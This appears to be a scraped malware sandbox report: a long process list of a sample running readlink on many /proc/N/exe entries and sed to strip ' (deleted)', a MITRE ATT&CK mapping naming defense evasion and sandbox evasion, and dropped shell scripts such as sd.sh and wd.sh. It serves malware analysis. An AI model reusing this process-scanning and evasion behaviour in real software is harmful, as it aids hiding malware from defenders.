/bin/readlinkreadlink /proc/16/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/160/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/161/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/162/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/163/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/164/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/165/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/166/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/167/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/168/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/169/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/17/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/170/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/171/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/172/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/174/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/18/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/19/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/199/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/20/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/200/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/21/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/22/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
/bin/readlinkreadlink /proc/23/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/24/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/25/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/255/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/26/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/266/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/27/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2702/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2703/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2704/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/28/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/29/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
/bin/readlinkreadlink /proc/3/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/30/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/31/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/32/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/34/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/346/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/348/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/35/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/36/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/4/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/418/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/446/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/447/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
2System Checks
2Replay Monitor
Loading Replay Monitor...
Downloads
.sd_ver
.shards
.v.json.1519
ccd
pg_settings.good.conf
pg_wal
sd.sh
sed71FmAP
sed8hnCE0
sedjPqlK4
wd.sh
wd2.sh
wd3.sh
.te
tmp.3ZWvI1
tmp.yedVT4